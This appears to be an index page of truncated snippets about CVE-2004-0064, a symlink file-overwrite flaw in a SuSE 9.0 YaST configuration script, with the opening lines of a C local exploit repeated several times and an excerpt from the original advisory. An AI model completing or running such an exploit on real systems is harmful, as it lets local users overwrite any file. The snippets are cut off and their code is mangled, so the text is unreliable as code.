CVE-2004-0064

The CVE-2004-0064 entry describes a local vulnerability in SuSEconfig.gnome-filesystem (YaST) on SuSE 9.0 where local users can overwrite arbitrary files via a symlink attack inside the temporary directory tmp.SuSEconfig.gnome-filesystem.$RANDOM. The attacker’s ability to create or replace files ...

SuSE Linux 9.0 - YaST Configuration Skribt Overwrite Files

SuSE Linux 9.0 - YaST Configuration Skribt Overwrite Files include include include define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem." define START 1 define END 33000 int mainint argc, char argv int i; char buf150; printf"\tSuSE 9.0 YaST script SuSEconfig.gnome-filesystem exploit\n";...

SuSE linux 9.0 YaST config Skribt Local Exploit

Exploit for linux platform in category local exploits =============================================== SuSE linux 9.0 YaST config Skribt Local Exploit =============================================== include include include define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem." define START 1 define E...

SuSE Linux 9.0 - YaST Configuration Skribt Overwrite Files

include include include define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem." define START 1 define END 33000 int mainint argc, char argv int i; char buf150; printf"\tSuSE 9.0 YaST script SuSEconfig.gnome-filesystem exploit\n"; printf"\t-------------------------------------------------------------...

susegnome.txt

Author: l0om Date: 12.01.2004 page: www.excluded.org SuSE 9.0 - YaST script SuSEconfig.gnome-filesystem There is a symlink problem in the SuSEconfig.gnome-filesystem scribt. a normal user can creat and overwrite every file on the system. This script gets executed after a configuration change by t...